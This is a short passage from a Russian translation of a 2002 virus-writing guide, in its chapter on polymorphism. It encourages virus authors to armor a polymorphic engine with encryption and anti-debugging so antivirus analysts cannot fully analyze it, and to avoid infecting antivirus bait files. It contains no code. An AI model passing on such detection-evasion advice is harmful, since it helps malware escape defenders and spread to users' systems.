Hо реальный мир жесток, AVеры попытаются найти все наши возможные декрипторы, дизассемблировав наш прекрасный медленный полиморфный движок.
И тут, чтобы спасти наши задницы, в дело вступает броня. Мы должны максимальным образом защитить наш PER специальной шифрующей процедурой (а декриптор должен быть очень хорошо защищен от отладки). Так как у них не будет достаточного времени дизассемблировать движок, они не смогут увидеть все, что он может сделать . У вас есть хороший выбор антиотладочных техник в соответствующей главе. Поэтому AVеры сконцентрируются на наживках, а посему мы должны избежать заражения этих бессмысленных файлов (об этом будет pассказано в главе "Антинаживка".
Я хочу увидеть ваши PER'ы, рулящие в этом мире! © Billy Belcebu, пер. Aquila
Путеводитель по написанию вирусов: 7. Полиморфизм
Дата публикации 1 сен 2002